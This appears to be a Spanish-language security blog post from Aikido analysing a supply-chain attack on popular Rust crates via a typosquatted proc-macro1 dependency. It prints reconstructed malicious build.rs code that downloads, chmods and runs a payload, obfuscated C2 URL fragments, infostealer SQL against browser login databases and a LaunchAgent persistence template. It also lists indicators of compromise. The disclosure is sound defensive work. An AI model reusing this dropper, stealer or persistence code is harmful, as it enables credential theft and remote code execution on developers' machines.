Aikido

Las crates populares de Rust «arrayref», «append-only-vec» e «internment» se han visto comprometidas en un ataque a la cadena de suministro

Escrito por
Ilyas Makari

El 20 de agosto, detectamos que varios crates de Rust populares del mismo autor, append-only-vec (4M de descargas), arrayref (244M de descargas) y internamiento (14M de descargas) habían sido comprometidos. El atacante añadió una dependencia maliciosa a un paquete llamado proc-macro1, que descarga una carga útil remota durante la compilación y la ejecuta en la máquina del desarrollador. Como la dependencia se ejecuta en tiempo de compilación, simplemente compilar un proyecto que incluya cualquiera de estos crates basta para desencadenar la infección, sin necesidad de llamar a ninguna de las funcionalidades reales del crate.

Esto es considerablemente más significativo que el compromiso anterior del crate Onering que cubrimos en junio. Esta vez el radio de impacto es mucho mayor, lo que lo convierte en el mayor compromiso de un crate de Rust que hemos visto en número de descargas.

Qué ocurrió

Inicialmente detectamos proc-macro1 en nuestro pipeline como un nuevo paquete que realizaba acciones sospechosas: descargaba un archivo remoto y lo ejecutaba. El nombre es un typosquating de proc-macro2, uno de los crates más utilizados en el ecosistema de Rust, y el paquete copia la descripción, el nombre del autor y la documentación del crate real para hacerse pasar por el proyecto legítimo. Dado el bajo recuento de descargas, no le dimos mucha importancia al principio. Sin embargo, en la misma hora vimos múltiples paquetes populares del mantenedor de append-only-vec, arrayref, y internamiento pasaron repentinamente a depender de proc-macro1. Eso fue lo que convirtió un typosquating común en un incidente real de la cadena de suministro.

Los crates comprometidos parecen limpios a primera vista. Su código fuente de biblioteca es el código original legítimo, y ninguno de ellos hace referencia a proc-macro1 en ninguna parte de su código fuente. Todo el compromiso se reduce a una única línea inyectada en cada archivo de manifiesto:

[dependencies]
proc-macro1 = "1.0.107"

La lógica maliciosa se encuentra por completo en el archivo build.rs de proc-macro1, que Cargo compila y ejecuta automáticamente durante la compilación. El script de compilación oculta su destino de red utilizando fragmentos en base64 para evadir los escáneres de cadenas:

// SRC decodes to https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];

// END decodes to 23[.]254[.]165[.]112:443
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

En el momento de la compilación, selecciona una carga útil específica para el sistema operativo y la arquitectura de CPU exactos de la víctima (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64) y, a continuación, la descarga a través de HTTPS mediante una solicitud GET sin cifrar. En Unix y macOS, escribe los bytes descargados en el disco, marca el archivo como ejecutable y lo ejecuta en segundo plano, ocultando su salida:

fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    // chmod +x /tmp/rust-setup
    Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
    // execute detached, handing it the second address (23[.]254[.]165[.]112:443)
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

En Windows, escribe un script de PowerShell y lo ejecuta de forma oculta mediante un lanzador wscript y .vbs, una técnica que, según señala un comentario en el propio código, se elige para escapar del objeto de trabajo (job object) de Cargo y lograr que el proceso generado siga ejecutándose una vez finalizada la compilación.

También hemos detectado un paquete malicioso similar llamado proc-macro-en, publicado bajo el nombre de autor daveroundy. Ese nombre de autor imita a droundy, el mantenedor legítimo de los paquetes comprometidos, lo que sugiere que el atacante estaba creando paquetes señuelo adicionales y suplantando al mismo mantenedor para dotarlos de credibilidad.

La carga útil

Obtuvimos dos de las cuatro compilaciones de la plataforma: el ELF de Linux x86_64 (rust-crate_0.1.0) y el Mach-O de macOS aarch64 (rust-crate_0.4.0). La muestra de Windows PowerShell que recibimos era un archivo de cero bytes, por lo que no contenía nada para analizar. Ambos binarios nativos son ejecutables de Rust y corresponden a la misma familia de malware compilada para diferentes destinos.

Su servidor de comando y control no está codificado de forma rígida en el binario. En su lugar, el binario lo lee del argumento de la línea de comandos con el que se lanzó, que es exactamente la segunda dirección (23[.]254[.]165[.]112:443) que el build.rs dropper pasa cuando despliega la carga útil. Por lo tanto, la IP es un indicador de este ataque, y el mismo binario podría reutilizarse en el futuro con un C2 diferente.

Lo confirmamos en la compilación de macOS mediante desensamblado. El stealer lee sus propios argumentos de proceso a través de _NSGetArgc y _NSGetArgv, los recopila en una lista y posteriormente introduce un valor de host en una ruta de construcción de URL: https://{host}/49890878.

Infostealer

El payload contiene un infostealer que va tras las credenciales almacenadas por los navegadores basados en Chromium. La compilación para macOS hace referencia a las ubicaciones de los perfiles de Google Chrome, Brave y Microsoft Edge, e incluye SQL incrustado que lee las credenciales guardadas directamente de la base de datos de inicio de sesión del navegador:

SELECT DISTINCT origin_url FROM logins WHERE origin_url IS NOT NULL ...
SELECT DISTINCT username_value FROM logins WHERE username_value IS NOT NULL ...

También hace referencia al almacenamiento de las extensiones del navegador (Local Extension Settings), que es donde muchas carteras de criptomonedas basadas en navegador guardan sus datos, por lo que el alcance de la recolección abarca tanto los inicios de sesión guardados como el material de las carteras.

Persistencia

En macOS, la compilación incrusta una plantilla de lista de propiedades de LaunchAgent y el Library/LaunchAgents componente de ruta, junto con una RunAtLoad clave. La plantilla se completa en tiempo de ejecución y está configurada para ejecutar un comando de shell a través de /bin/zsh -c.

Recuperamos la plantilla incrustada. El Label y la cadena de comandos son marcadores de posición que se rellenan cuando el agente se escribe en el disco:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>x</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/zsh</string>
        <string>-c</string>
        <string>D</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

La presencia de esta plantilla y el Library/LaunchAgents camino es una prueba sólida de que el payload está configurado para instalar un LaunchAgent a nivel de usuario para lograr persistencia.

Comando y control

Tenemos indicios sólidos de que la carga útil también contiene un ejecutor de comandos remotos ligero. Tras su inicio, realiza una comprobación de registro con el servidor, enviando un conjunto estructurado de campos que identifican la máquina infectada, incluida una ID, la URL principal y detalles básicos del host como os_type, os_ver, os_arch, platform_ver, app, y Correo electrónico. A continuación, el servidor puede responder con tareas, y la carga útil las transfiere a un despachador interno. El despachador admite un conjunto pequeño y fijo de comandos. Los nombres que recuperamos son minicfg, startup, runscript, Shell, y ShellX. El runscript, Shell, y ShellX son los comandos de ejecución. También encontramos una primitiva de espera cronometrada, lo que indica que la carga útil probablemente sondea el servidor C2 en un intervalo para comprobar si hay nuevos comandos en lugar de contactar con él una sola vez.

Similitudes con los ataques a Axios y Mastra

Esta campaña es muy similar a los compromisos de Axios y Mastra que hemos visto en npm, ambos vinculados a DPRK / Sapphire Sleet. El mismo actor de amenazas se está adentrando ahora en Rust.

En lugar de modificar el propio código del paquete comprometido, el atacante lo deja intacto y añade una única dependencia maliciosa, plain-crypto-js en el caso de axios, easy-day-js para Mastra, y proc-macro1 aquí en este ataque.

El payload funciona de la misma manera. En lugar de incluir de forma fija el servidor C2 en el binario, lee la dirección del argumento con el que se lanza, al igual que los ataques anteriores a axios y mastra. También envía balizas al mismo /49890878 endpoint utilizado anteriormente.

Al igual que axios y Mastra, el servidor C2 (23[.]254[.]165[.]112) también se ha configurado en la infraestructura VPS de Hostwinds.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de compromiso

Paquetes afectados

  • proc-macro-en 1.0.10 (dependencia maliciosa)
  • proc-macro1 1.0.107 (dependencia maliciosa)
  • append-only-vec 0.1.9, comprometido (4M de descargas)
  • arrayref 0.3.10, comprometido (244M de descargas)
  • internamiento 0.8.7, comprometido (14M de descargas)

Indicadores de red

  • 23[.]254[.]165[.]112:9089 - Host de entrega del payload
  • 23[.]254[.]165[.]112:443 - Host C2 pasado como argumento al payload ejecutado

Indicadores de archivos

Los binarios del payload proc-macro1 descargas, guardados en /tmp/rust-setup en Linux y macOS:

  • rust-crate_0.1.0 (Linux x86_64 ELF)
    • SHA-256: 408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
  • rust-crate_0.4.0 (macOS aarch64 Mach-O)
    • SHA-256: 74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
Compartir:

https://www.aikido.dev/blog/two-popular-rust-crates-arrayref-and-append-only-vec-compromised-in-supply-chain-attack

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Consigue seguridad hoy mismo,
de forma rápida y gratuita.

Protege tu código, cloud y runtime en un sistema centralizado.
Conecta un repositorio para descubrir qué encuentran los agentes de razonamiento en tu base de código.

No se requiere tarjeta de crédito | Resultados del análisis en 32 segundos.
Con la confianza de más de 150k organizaciones